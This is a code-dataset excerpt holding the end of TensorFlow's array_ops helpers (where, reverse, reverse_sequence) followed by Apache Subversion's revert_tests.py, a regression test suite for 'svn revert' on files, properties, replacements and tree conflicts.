Tensor which may have the same shape as `condition`. If `condition` is rank 1, `x` may have higher rank, but its first dimension must match the size of `condition`. y: A `tensor` with the same shape and type as `x`. name: A name of the operation (optional) Returns: A `Tensor` with the same type and shape as `x`, `y` if they are non-None. A `Tensor` with shape `(num_true, dim_size(condition))`. Raises: ValueError: When exactly one of `x` or `y` is non-None. """ if x is None and y is None: return gen_array_ops.where(input=condition, name=name) elif x is not None and y is not None: return gen_math_ops._select(condition=condition, t=x, e=y, name=name) else: raise ValueError("x and y must both be non-None or both be None.") def reverse(tensor, axis, name=None): return gen_array_ops.reverse_v2(tensor, axis, name) reverse.__doc__ = gen_array_ops.reverse_v2.__doc__ # pylint: disable=redefined-builtin def reverse_sequence(input, seq_lengths, seq_axis=None, batch_axis=None, name=None, seq_dim=None, batch_dim=None): seq_axis = deprecation.deprecated_argument_lookup("seq_axis", seq_axis, "seq_dim", seq_dim) batch_axis = deprecation.deprecated_argument_lookup("batch_axis", batch_axis, "batch_dim", batch_dim) return gen_array_ops.reverse_sequence( input=input, seq_lengths=seq_lengths, seq_dim=seq_axis, batch_dim=batch_axis, name=name) # pylint: enable=redefined-builtin reverse_sequence.__doc__ = deprecation.rewrite_argument_docstring( deprecation.rewrite_argument_docstring( gen_array_ops.reverse_sequence.__doc__, "batch_dim", "batch_axis"), "seq_dim", "seq_axis")
codeparrot/github-code-clean
#!/usr/bin/env python # # revert_tests.py: testing 'svn revert'. # # Subversion is a tool for revision control. # See http://subversion.apache.org for more information. # # ==================================================================== # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. ###################################################################### # General modules import re, os, stat, shutil # Our testing module import svntest from svntest import wc, main, actions from svntest.actions import run_and_verify_svn from svntest.main import file_append, file_write, run_svn # (abbreviation) Skip = svntest.testcase.Skip_deco SkipUnless = svntest.testcase.SkipUnless_deco XFail = svntest.testcase.XFail_deco Issues = svntest.testcase.Issues_deco Issue = svntest.testcase.Issue_deco Wimp = svntest.testcase.Wimp_deco Item = svntest.wc.StateItem ###################################################################### # Helpers def revert_replacement_with_props(sbox, wc_copy): """Helper implementing the core of revert_{repos,wc}_to_wc_replace_with_props(). Uses a working copy (when wc_copy == True) or a URL (when wc_copy == False) source to copy from.""" sbox.build() wc_dir = sbox.wc_dir # Use a temp file to set properties with wildcards in their values # otherwise Win32/VS2005 will expand them prop_path = os.path.join(wc_dir, 'proptmp') svntest.main.file_append(prop_path, '*') # Set props on file which is copy-source later on pi_path = os.path.join(wc_dir, 'A', 'D', 'G', 'pi') rho_path = os.path.join(wc_dir, 'A', 'D', 'G', 'rho') svntest.actions.run_and_verify_svn(None, None, [], 'ps', 'phony-prop', '-F', prop_path, pi_path) os.remove(prop_path) svntest.actions.run_and_verify_svn(None, None, [], 'ps', 'svn:eol-style', 'LF', rho_path) # Verify props having been set expected_disk = svntest.main.greek_state.copy() expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_disk.tweak('A/D/G/pi', props={ 'phony-prop': '*' }) expected_disk.tweak('A/D/G/rho', props={ 'svn:eol-style': 'LF' }) svntest.actions.verify_disk(wc_dir, expected_disk, True) # Commit props expected_output = svntest.wc.State(wc_dir, { 'A/D/G/pi': Item(verb='Sending'), 'A/D/G/rho': Item(verb='Sending'), }) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/D/G/pi', wc_rev='2') expected_status.tweak('A/D/G/rho', wc_rev='2') svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # Bring wc into sync svntest.actions.run_and_verify_svn(None, None, [], 'up', wc_dir) # File scheduled for deletion svntest.actions.run_and_verify_svn(None, None, [], 'rm', rho_path) # Status before attempting copies expected_status = svntest.actions.get_virginal_state(wc_dir, 2) expected_status.tweak('A/D/G/rho', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # The copy shouldn't fail if wc_copy: pi_src = os.path.join(wc_dir, 'A', 'D', 'G', 'pi') else: pi_src = sbox.repo_url + '/A/D/G/pi' svntest.actions.run_and_verify_svn(None, None, [], 'cp', pi_src, rho_path) # Verify both content and props have been copied if wc_copy: props = { 'phony-prop' : '*' } else: props = { 'phony-prop' : '*' } expected_disk.tweak('A/D/G/rho', contents="This is the file 'pi'.\n", props=props) svntest.actions.verify_disk(wc_dir, expected_disk.old_tree(), True) # Now revert expected_status.tweak('A/D/G/rho', status='R ', copied='+', wc_rev='-') svntest.actions.run_and_verify_status(wc_dir, expected_status) expected_status.tweak('A/D/G/rho', status=' ', copied=None, wc_rev='2') expected_output = ["Reverted '" + rho_path + "'\n"] svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', '-R', wc_dir) svntest.actions.run_and_verify_status(wc_dir, expected_status) # Check disk status expected_disk = svntest.main.greek_state.copy() expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_disk.tweak('A/D/G/pi', props={ 'phony-prop': '*' }) expected_disk.tweak('A/D/G/rho', props={ 'svn:eol-style': 'LF' }) svntest.actions.verify_disk(wc_dir, expected_disk.old_tree(), True) ###################################################################### # Tests # # Each test must return on success or raise on failure. #---------------------------------------------------------------------- def revert_from_wc_root(sbox): "revert relative to wc root" sbox.build(read_only = True) wc_dir = sbox.wc_dir os.chdir(wc_dir) # Mostly taken from basic_revert # Modify some files and props. beta_path = os.path.join('A', 'B', 'E', 'beta') gamma_path = os.path.join('A', 'D', 'gamma') iota_path = 'iota' rho_path = os.path.join('A', 'D', 'G', 'rho') zeta_path = os.path.join('A', 'D', 'H', 'zeta') svntest.main.file_append(beta_path, "Added some text to 'beta'.\n") svntest.main.file_append(iota_path, "Added some text to 'iota'.\n") svntest.main.file_append(rho_path, "Added some text to 'rho'.\n") svntest.main.file_append(zeta_path, "Added some text to 'zeta'.\n") svntest.actions.run_and_verify_svn("Add command", None, [], 'add', zeta_path) svntest.actions.run_and_verify_svn("Add prop command", None, [], 'ps', 'random-prop', 'propvalue', gamma_path) svntest.actions.run_and_verify_svn("Add prop command", None, [], 'ps', 'random-prop', 'propvalue', iota_path) svntest.actions.run_and_verify_svn("Add prop command", None, [], 'ps', 'random-prop', 'propvalue', '.') svntest.actions.run_and_verify_svn("Add prop command", None, [], 'ps', 'random-prop', 'propvalue', 'A') # Verify modified status. expected_output = svntest.actions.get_virginal_state('', 1) expected_output.tweak('A/B/E/beta', 'A/D/G/rho', status='M ') expected_output.tweak('iota', status='MM') expected_output.tweak('', 'A/D/gamma', 'A', status=' M') expected_output.add({ 'A/D/H/zeta' : Item(status='A ', wc_rev=0), }) svntest.actions.run_and_verify_status('', expected_output) # Run revert svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', beta_path) svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', gamma_path) svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', iota_path) svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', rho_path) svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', zeta_path) svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', '.') svntest.actions.run_and_verify_svn("Revert command", None, [], 'revert', 'A') # Verify unmodified status. expected_output = svntest.actions.get_virginal_state('', 1) svntest.actions.run_and_verify_status('', expected_output) @Issue(1663) def revert_reexpand_keyword(sbox): "revert reexpands manually contracted keyword" # This is for issue #1663. The bug is that if the only difference # between a locally modified working file and the base version of # same was that the former had a contracted keyword that would be # expanded in the latter, then 'svn revert' wouldn't notice the # difference, and therefore wouldn't revert. And why wouldn't it # notice? Since text bases are always stored with keywords # contracted, and working files are contracted before comparison # with text base, there would appear to be no difference when the # contraction is the only difference. For most commands, this is # correct -- but revert's job is to restore the working file, not # the text base. sbox.build() wc_dir = sbox.wc_dir newfile_path = os.path.join(wc_dir, "newfile") unexpanded_contents = "This is newfile: $Rev$.\n" # Put an unexpanded keyword into iota. svntest.main.file_write(newfile_path, unexpanded_contents) # Commit, without svn:keywords property set. svntest.main.run_svn(None, 'add', newfile_path) svntest.main.run_svn(None, 'commit', '-m', 'r2', newfile_path) # Set the property and commit. This should expand the keyword. svntest.main.run_svn(None, 'propset', 'svn:keywords', 'rev', newfile_path) svntest.main.run_svn(None, 'commit', '-m', 'r3', newfile_path) # Verify that the keyword got expanded. def check_expanded(path): fp = open(path, 'r') lines = fp.readlines() fp.close() if lines[0] != "This is newfile: $Rev: 3 $.\n": raise svntest.Failure check_expanded(newfile_path) # Now un-expand the keyword again. svntest.main.file_write(newfile_path, unexpanded_contents) # Revert the file. The keyword should reexpand. svntest.main.run_svn(None, 'revert', newfile_path) # Verify that the keyword got re-expanded. check_expanded(newfile_path) # Ok, the first part of this test was written in 2004. We are now in 2011 # and note that there is more to test: # If the recorded timestamp and size match the file then revert won't # reinstall the file as the file was not modified when last compared in # the repository normal form. # # The easiest way to get the information recorded would be calling cleanup, # because that 'repairs' the recorded information. But some developers # (including me) would call that cheating, so I just use a failed commit. # Un-expand the keyword again. svntest.main.file_write(newfile_path, unexpanded_contents) # And now we trick svn in ignoring the file on newfile_path newfile2_path = newfile_path + '2' svntest.main.file_write(newfile2_path, 'This is file 2') svntest.main.run_svn(None, 'add', newfile2_path) os.remove(newfile2_path) # This commit fails because newfile2_path is missing, but only after # we call svn_wc__internal_file_modified_p() on new_file. svntest.actions.run_and_verify_commit(wc_dir, None, None, "2' is scheduled"+ " for addition, but is missing", newfile_path, newfile2_path, '-m', "Shouldn't be committed") # Revert the file. The file is not reverted! svntest.actions.run_and_verify_svn(None, [], [], 'revert', newfile_path) #---------------------------------------------------------------------- # Regression test for issue #1775: # Should be able to revert a file with no properties i.e. no prop-base @Issue(1775) def revert_replaced_file_without_props(sbox): "revert a replaced file with no properties" sbox.build() wc_dir = sbox.wc_dir file1_path = os.path.join(wc_dir, 'file1') # Add a new file, file1, that has no prop-base svntest.main.file_append(file1_path, "This is the file 'file1' revision 2.") svntest.actions.run_and_verify_svn(None, None, [], 'add', file1_path) # commit file1 expected_output = svntest.wc.State(wc_dir, { 'file1' : Item(verb='Adding') }) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'file1' : Item(status=' ', wc_rev=2), }) svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # delete file1 svntest.actions.run_and_verify_svn(None, None, [], 'rm', file1_path) # test that file1 is scheduled for deletion. expected_status.tweak('file1', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # recreate and add file1 svntest.main.file_append(file1_path, "This is the file 'file1' revision 3.") svntest.actions.run_and_verify_svn(None, None, [], 'add', file1_path) # Test to see if file1 is schedule for replacement expected_status.tweak('file1', status='R ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # revert file1 svntest.actions.run_and_verify_svn(None, ["Reverted '" + file1_path + "'\n"], [], 'revert', file1_path) # test that file1 really was reverted expected_status.tweak('file1', status=' ', wc_rev=2) svntest.actions.run_and_verify_status(wc_dir, expected_status) #---------------------------------------------------------------------- # Note that issue #876 has been rejected. This now basically tests that # reverting the delete side of a move does *not* also revert the copy side. @Issue(876) def revert_moved_file(sbox): "revert a moved file" # svntest.factory.make(sbox, """svn mv iota iota_moved # svn st # svn revert iota # svn st # """) sbox.build() wc_dir = sbox.wc_dir iota = os.path.join(wc_dir, 'iota') iota_moved = os.path.join(wc_dir, 'iota_moved') # svn mv iota iota_moved expected_stdout = svntest.verify.UnorderedOutput([ 'A ' + iota_moved + '\n', 'D ' + iota + '\n', ]) actions.run_and_verify_svn2('OUTPUT', expected_stdout, [], 0, 'mv', iota, iota_moved) # svn st expected_status = actions.get_virginal_state(wc_dir, 1) expected_status.add({ 'iota_moved' : Item(status='A ', copied='+', wc_rev='-', moved_from='iota'), }) expected_status.tweak('iota', status='D ', moved_to='iota_moved') actions.run_and_verify_unquiet_status(wc_dir, expected_status) # svn revert iota expected_stdout = ["Reverted '" + iota + "'\n"] actions.run_and_verify_svn2('OUTPUT', expected_stdout, [], 0, 'revert', iota) # svn st expected_status.tweak('iota', status=' ', moved_to=None) expected_status.tweak('iota_moved', moved_from=None) actions.run_and_verify_unquiet_status(wc_dir, expected_status) #---------------------------------------------------------------------- # Test for issue 2135 # # It is like merge_file_replace (in merge_tests.py), but reverts file # instead of commit. @Issue(2135) def revert_file_merge_replace_with_history(sbox): "revert a merge replacement of file with history" sbox.build() wc_dir = sbox.wc_dir # File scheduled for deletion rho_path = os.path.join(wc_dir, 'A', 'D', 'G', 'rho') svntest.actions.run_and_verify_svn(None, None, [], 'rm', rho_path) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/D/G/rho', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) expected_output = svntest.wc.State(wc_dir, { 'A/D/G/rho': Item(verb='Deleting'), }) expected_status.remove('A/D/G/rho') # Commit rev 2 svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # create new rho file svntest.main.file_write(rho_path, "new rho\n") # Add the new file svntest.actions.run_and_verify_svn(None, None, [], 'add', rho_path) # Commit revsion 3 expected_status.add({ 'A/D/G/rho' : Item(status='A ', wc_rev='0') }) svntest.actions.run_and_verify_status(wc_dir, expected_status) expected_output = svntest.wc.State(wc_dir, { 'A/D/G/rho': Item(verb='Adding'), }) svntest.actions.run_and_verify_commit(wc_dir, expected_output, None, None, wc_dir) # Update working copy expected_output = svntest.wc.State(wc_dir, {}) expected_disk = svntest.main.greek_state.copy() expected_disk.tweak('A/D/G/rho', contents='new rho\n' ) expected_status.tweak(wc_rev='3') expected_status.tweak('A/D/G/rho', status=' ') svntest.actions.run_and_verify_update(wc_dir, expected_output, expected_disk, expected_status) # merge changes from r3:1 expected_output = svntest.wc.State(wc_dir, { 'A/D/G/rho': Item(status='R ') }) expected_mergeinfo_output = svntest.wc.State(wc_dir, { '' : Item(status=' U') }) expected_elision_output = svntest.wc.State(wc_dir, { '' : Item(status=' U') }) expected_status.tweak('A/D/G/rho', status='R ', copied='+', wc_rev='-') expected_skip = wc.State(wc_dir, { }) expected_disk.tweak('A/D/G/rho', contents="This is the file 'rho'.\n") svntest.actions.run_and_verify_merge(wc_dir, '3', '1', sbox.repo_url, None, expected_output, expected_mergeinfo_output, expected_elision_output, expected_disk, expected_status, expected_skip) # Now revert svntest.actions.run_and_verify_svn(None, None, [], 'revert', rho_path) # test that rho really was reverted expected_status.tweak('A/D/G/rho', copied=None, status=' ', wc_rev=3) svntest.actions.run_and_verify_status(wc_dir, expected_status) expected_disk.tweak('A/D/G/rho', contents="new rho\n") svntest.actions.verify_disk(wc_dir, expected_disk.old_tree(), True) # Make sure the revert removed the copy from information. expected_infos = [ { 'Copied' : None } ] svntest.actions.run_and_verify_info(expected_infos, rho_path) def revert_wc_to_wc_replace_with_props(sbox): "revert svn cp PATH PATH replace file with props" revert_replacement_with_props(sbox, 1) def revert_repos_to_wc_replace_with_props(sbox): "revert svn cp URL PATH replace file with props" revert_replacement_with_props(sbox, 0) def revert_after_second_replace(sbox): "revert file after second replace" sbox.build(read_only = True) wc_dir = sbox.wc_dir # File scheduled for deletion rho_path = os.path.join(wc_dir, 'A', 'D', 'G', 'rho') svntest.actions.run_and_verify_svn(None, None, [], 'rm', rho_path) # Status before attempting copy expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/D/G/rho', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Replace file for the first time pi_src = os.path.join(wc_dir, 'A', 'D', 'G', 'pi') svntest.actions.run_and_verify_svn(None, None, [], 'cp', pi_src, rho_path) expected_status.tweak('A/D/G/rho', status='R ', copied='+', wc_rev='-') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Now delete replaced file. svntest.actions.run_and_verify_svn(None, None, [], 'rm', '--force', rho_path) # Status should be same as after first delete expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/D/G/rho', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Replace file for the second time pi_src = os.path.join(wc_dir, 'A', 'D', 'G', 'pi') svntest.actions.run_and_verify_svn(None, None, [], 'cp', pi_src, rho_path) expected_status.tweak('A/D/G/rho', status='R ', copied='+', wc_rev='-') svntest.actions.run_and_verify_status(wc_dir, expected_status) # Now revert svntest.actions.run_and_verify_svn(None, None, [], 'revert', '-R', wc_dir) # Check disk status expected_disk = svntest.main.greek_state.copy() expected_status = svntest.actions.get_virginal_state(wc_dir, 1) svntest.actions.verify_disk(wc_dir, expected_disk.old_tree(), True) #---------------------------------------------------------------------- # Tests for issue #2517. # # Manual conflict resolution leads to spurious revert report. @Issue(2517) def revert_after_manual_conflict_resolution__text(sbox): "revert after manual text-conflict resolution" # Make two working copies sbox.build() wc_dir_1 = sbox.wc_dir wc_dir_2 = sbox.add_wc_path('other') svntest.actions.duplicate_dir(wc_dir_1, wc_dir_2) # Cause a (text) conflict iota_path_1 = os.path.join(wc_dir_1, 'iota') iota_path_2 = os.path.join(wc_dir_2, 'iota') svntest.main.file_write(iota_path_1, 'Modified iota text') svntest.main.file_write(iota_path_2, 'Conflicting iota text') svntest.main.run_svn(None, 'commit', '-m', 'r2', wc_dir_1) svntest.main.run_svn(None, 'update', wc_dir_2) # Resolve the conflict "manually" svntest.main.file_write(iota_path_2, 'Modified iota text') os.remove(iota_path_2 + '.mine') os.remove(iota_path_2 + '.r1') os.remove(iota_path_2 + '.r2') # Verify no output from status, diff, or revert svntest.actions.run_and_verify_svn(None, [], [], "status", wc_dir_2) svntest.actions.run_and_verify_svn(None, [], [], "diff", wc_dir_2) svntest.actions.run_and_verify_svn(None, [], [], "revert", "-R", wc_dir_2) def revert_after_manual_conflict_resolution__prop(sbox): "revert after manual property-conflict resolution" # Make two working copies sbox.build() wc_dir_1 = sbox.wc_dir wc_dir_2 = sbox.add_wc_path('other') svntest.actions.duplicate_dir(wc_dir_1, wc_dir_2) # Cause a (property) conflict iota_path_1 = os.path.join(wc_dir_1, 'iota') iota_path_2 = os.path.join(wc_dir_2, 'iota') svntest.main.run_svn(None, 'propset', 'foo', '1', iota_path_1) svntest.main.run_svn(None, 'propset', 'foo', '2', iota_path_2) svntest.main.run_svn(None, 'commit', '-m', 'r2', wc_dir_1) svntest.main.run_svn(None, 'update', wc_dir_2) # Resolve the conflict "manually" svntest.main.run_svn(None, 'propset', 'foo', '1', iota_path_2) os.remove(iota_path_2 + '.prej') # Verify no output from status, diff, or revert svntest.actions.run_and_verify_svn(None, [], [], "status", wc_dir_2) svntest.actions.run_and_verify_svn(None, [], [], "diff", wc_dir_2) svntest.actions.run_and_verify_svn(None, [], [], "revert", "-R", wc_dir_2) def revert_propset__dir(sbox): "revert a simple propset on a dir" sbox.build(read_only = True) wc_dir = sbox.wc_dir a_path = os.path.join(wc_dir, 'A') svntest.main.run_svn(None, 'propset', 'foo', 'x', a_path) expected_output = re.escape("Reverted '" + a_path + "'") svntest.actions.run_and_verify_svn(None, expected_output, [], "revert", a_path) def revert_propset__file(sbox): "revert a simple propset on a file" sbox.build(read_only = True) wc_dir = sbox.wc_dir iota_path = os.path.join(wc_dir, 'iota') svntest.main.run_svn(None, 'propset', 'foo', 'x', iota_path) expected_output = re.escape("Reverted '" + iota_path + "'") svntest.actions.run_and_verify_svn(None, expected_output, [], "revert", iota_path) def revert_propdel__dir(sbox): "revert a simple propdel on a dir" sbox.build() wc_dir = sbox.wc_dir a_path = os.path.join(wc_dir, 'A') svntest.main.run_svn(None, 'propset', 'foo', 'x', a_path) svntest.main.run_svn(None, 'commit', '-m', 'ps', a_path) svntest.main.run_svn(None, 'propdel', 'foo', a_path) expected_output = re.escape("Reverted '" + a_path + "'") svntest.actions.run_and_verify_svn(None, expected_output, [], "revert", a_path) def revert_propdel__file(sbox): "revert a simple propdel on a file" sbox.build() wc_dir = sbox.wc_dir iota_path = os.path.join(wc_dir, 'iota') svntest.main.run_svn(None, 'propset', 'foo', 'x', iota_path) svntest.main.run_svn(None, 'commit', '-m', 'ps', iota_path) svntest.main.run_svn(None, 'propdel', 'foo', iota_path) expected_output = re.escape("Reverted '" + iota_path + "'") svntest.actions.run_and_verify_svn(None, expected_output, [], "revert", iota_path) def revert_replaced_with_history_file_1(sbox): "revert a committed replace-with-history == no-op" sbox.build() wc_dir = sbox.wc_dir iota_path = os.path.join(wc_dir, 'iota') mu_path = os.path.join(wc_dir, 'A', 'mu') # Remember the original text of 'mu' exit_code, text_r1, err = svntest.actions.run_and_verify_svn(None, None, [], 'cat', mu_path) # delete mu and replace it with a copy of iota svntest.main.run_svn(None, 'rm', mu_path) svntest.main.run_svn(None, 'mv', iota_path, mu_path) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/mu', status=' ', wc_rev=2) expected_status.remove('iota') expected_output = svntest.wc.State(wc_dir, { 'iota': Item(verb='Deleting'), 'A/mu': Item(verb='Replacing'), }) svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # update the working copy svntest.main.run_svn(None, 'up', wc_dir) # now revert back to the state in r1 expected_output = svntest.wc.State(wc_dir, { 'A/mu': Item(status='R '), 'iota': Item(status='A ') }) expected_mergeinfo_output = svntest.wc.State(wc_dir, { '': Item(status=' U'), }) expected_elision_output = svntest.wc.State(wc_dir, { '': Item(status=' U'), }) expected_status = svntest.actions.get_virginal_state(wc_dir, 2) expected_status.tweak('A/mu', status='R ', copied='+', wc_rev='-') expected_status.tweak('iota', status='A ', copied='+', wc_rev='-') expected_skip = wc.State(wc_dir, { }) expected_disk = svntest.main.greek_state.copy() svntest.actions.run_and_verify_merge(wc_dir, '2', '1', sbox.repo_url, None, expected_output, expected_mergeinfo_output, expected_elision_output, expected_disk, expected_status, expected_skip) # and commit in r3 expected_status = svntest.actions.get_virginal_state(wc_dir, 2) expected_status.tweak('A/mu', status=' ', wc_rev=3) expected_status.tweak('iota', status=' ', wc_rev=3) expected_output = svntest.wc.State(wc_dir, { 'iota': Item(verb='Adding'), 'A/mu': Item(verb='Replacing'), }) svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # Verify the content of 'mu' svntest.actions.run_and_verify_svn(None, text_r1, [], 'cat', mu_path) # situation: no local modifications, mu has its original content again. # revert 'mu' locally, shouldn't change a thing. svntest.actions.run_and_verify_svn(None, [], [], "revert", mu_path) # Verify the content of 'mu' svntest.actions.run_and_verify_svn(None, text_r1, [], 'cat', mu_path) #---------------------------------------------------------------------- # Test for issue #2804. @Issue(2804) def status_of_missing_dir_after_revert(sbox): "status after schedule-delete, revert, and local rm" sbox.build(read_only = True) wc_dir = sbox.wc_dir A_D_G_path = os.path.join(wc_dir, "A", "D", "G") svntest.actions.run_and_verify_svn(None, None, [], "rm", A_D_G_path) expected_output = re.escape("Reverted '" + A_D_G_path + "'") svntest.actions.run_and_verify_svn(None, expected_output, [], "revert", A_D_G_path) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/D/G/rho', 'A/D/G/pi', 'A/D/G/tau', status='D ') svntest.actions.run_and_verify_status(wc_dir, expected_status) svntest.main.safe_rmtree(A_D_G_path) expected_status.tweak('A/D/G', status='! ') svntest.actions.run_and_verify_status(wc_dir, expected_status) # When using single-db, we can get back to the virginal state. svntest.actions.run_and_verify_svn(None, None, [], "revert", "-R", A_D_G_path) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) svntest.actions.run_and_verify_status(wc_dir, expected_status) #---------------------------------------------------------------------- # Test for issue #2804 with replaced directory @Issue(2804) def status_of_missing_dir_after_revert_replaced_with_history_dir(sbox): "status after replace+, revert, and local rm" sbox.build() wc_dir = sbox.wc_dir repo_url = sbox.repo_url # delete A/D/G and commit G_path = os.path.join(wc_dir, "A", "D", "G") svntest.actions.run_and_verify_svn(None, None, [], "rm", G_path) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.remove('A/D/G', 'A/D/G/rho', 'A/D/G/pi', 'A/D/G/tau') expected_output = svntest.wc.State(wc_dir, { 'A/D/G': Item(verb='Deleting'), }) svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # copy A/D/G from A/B/E and commit E_path = os.path.join(wc_dir, "A", "B", "E") svntest.actions.run_and_verify_svn(None, None, [], "cp", E_path, G_path) expected_status.add({ 'A/D/G' : Item(status=' ', wc_rev='3'), 'A/D/G/alpha' : Item(status=' ', wc_rev='3'), 'A/D/G/beta' : Item(status=' ', wc_rev='3') }) expected_output = svntest.wc.State(wc_dir, { 'A/D/G': Item(verb='Adding'), }) svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) # update the working copy svntest.main.run_svn(None, 'up', wc_dir) # now rollback to r1, thereby reinstating the old 'G' expected_output = svntest.wc.State(wc_dir, { 'A/D/G': Item(status='R '), 'A/D/G/rho': Item(status='A '), 'A/D/G/pi': Item(status='A '), 'A/D/G/tau': Item(status='A '), }) expected_mergeinfo_output = svntest.wc.State(wc_dir, { '': Item(status=' U'), }) expected_elision_output = svntest.wc.State(wc_dir, { '': Item(status=' U'), }) expected_status = svntest.actions.get_virginal_state(wc_dir, 3) expected_status.tweak('A/D/G', status='R ', copied='+', wc_rev='-') expected_status.tweak('A/D/G/rho', 'A/D/G/pi', 'A/D/G/tau', copied='+', wc_rev='-') expected_status.add({ 'A/D/G/alpha' : Item(status='D ', wc_rev='3'), 'A/D/G/beta' : Item(status='D ', wc_rev='3'), }) expected_skip = wc.State(wc_dir, { }) expected_disk = svntest.main.greek_state.copy() svntest.actions.run_and_verify_merge(wc_dir, '3', '1', sbox.repo_url, None, expected_output, expected_mergeinfo_output, expected_elision_output, expected_disk, expected_status, expected_skip, dry_run = 0) # now test if the revert works ok revert_paths = [G_path] + [os.path.join(G_path, child) for child in ['alpha', 'beta', 'pi', 'rho', 'tau']] expected_output = svntest.verify.UnorderedOutput([ "Reverted '%s'\n" % path for path in revert_paths]) svntest.actions.run_and_verify_svn(None, expected_output, [], "revert", "-R", G_path) svntest.actions.run_and_verify_svn(None, [], [], "status", wc_dir) svntest.main.safe_rmtree(G_path) expected_output = svntest.verify.UnorderedOutput( ["! " + G_path + "\n", "! " + os.path.join(G_path, "alpha") + "\n", "! " + os.path.join(G_path, "beta") + "\n"]) svntest.actions.run_and_verify_svn(None, expected_output, [], "status", wc_dir) # Test for issue #2928. @Issue(2928) def revert_replaced_with_history_file_2(sbox): "reverted replace with history restores checksum" sbox.build() wc_dir = sbox.wc_dir iota_path = os.path.join(wc_dir, 'iota') mu_path = os.path.join(wc_dir, 'A', 'mu') # Delete mu and replace it with a copy of iota svntest.main.run_svn(None, 'rm', mu_path) svntest.main.run_svn(None, 'cp', iota_path, mu_path) # Revert mu. svntest.main.run_svn(None, 'revert', mu_path) # If we make local mods to the reverted mu the commit will # fail if the checksum is incorrect. svntest.main.file_write(mu_path, "new text") expected_output = svntest.wc.State(wc_dir, { 'A/mu': Item(verb='Sending'), }) expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.tweak('A/mu', status=' ', wc_rev=2) svntest.actions.run_and_verify_commit(wc_dir, expected_output, expected_status, None, wc_dir) #---------------------------------------------------------------------- def revert_tree_conflicts_in_updated_files(sbox): "revert tree conflicts in updated files" # See use cases 1-3 in notes/tree-conflicts/use-cases.txt for background. svntest.actions.build_greek_tree_conflicts(sbox) wc_dir = sbox.wc_dir G = os.path.join(wc_dir, 'A', 'D', 'G') G_pi = os.path.join(G, 'pi') G_rho = os.path.join(G, 'rho') G_tau = os.path.join(G, 'tau') # Duplicate wc for tests wc_dir_2 = sbox.add_wc_path('2') svntest.actions.duplicate_dir(wc_dir, wc_dir_2) G2 = os.path.join(wc_dir_2, 'A', 'D', 'G') G2_pi = os.path.join(G2, 'pi') G2_rho = os.path.join(G2, 'rho') G2_tau = os.path.join(G2, 'tau') # Expectations expected_output = svntest.verify.UnorderedOutput( ["Reverted '%s'\n" % G_pi, "Reverted '%s'\n" % G_rho, "Reverted '%s'\n" % G_tau, ]) expected_status = svntest.actions.get_virginal_state(wc_dir, 2) expected_status.tweak('A/D/G/pi', status=' ') expected_status.remove('A/D/G/rho') expected_status.remove('A/D/G/tau') expected_disk = svntest.main.greek_state.copy() expected_disk.remove('A/D/G/rho') expected_disk.tweak('A/D/G/pi', contents="This is the file 'pi'.\nIncoming edit.\n") expected_disk.remove('A/D/G/tau') # Revert individually in wc svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', G_pi, G_rho, G_tau) svntest.actions.run_and_verify_status(wc_dir, expected_status) svntest.actions.verify_disk(wc_dir, expected_disk) # Expectations expected_output = svntest.verify.UnorderedOutput( ["Reverted '%s'\n" % G2_pi, "Reverted '%s'\n" % G2_rho, "Reverted '%s'\n" % G2_tau, ]) expected_status.wc_dir = wc_dir_2 # Revert recursively in wc 2 svntest.actions.run_and_verify_svn(None, expected_output, [], 'revert', '-R', G2) svntest.actions.run_and_verify_status(wc_dir_2, expected_status) svntest.actions.verify_disk(wc_dir_2, expected_disk) def revert_add_over_not_present_dir(sbox): "reverting an add over not present directory" sbox.build() wc_dir = sbox.wc_dir main.run_svn(None, 'rm', os.path.join(wc_dir, 'A/C')) main.run_svn(None, 'ci', wc_dir, '-m', 'Deleted dir') expected_status = svntest.actions.get_virginal_state(wc_dir, 1) expected_status.remove('A/C') svntest.actions.run_and_verify_status(wc_dir, expected_status) 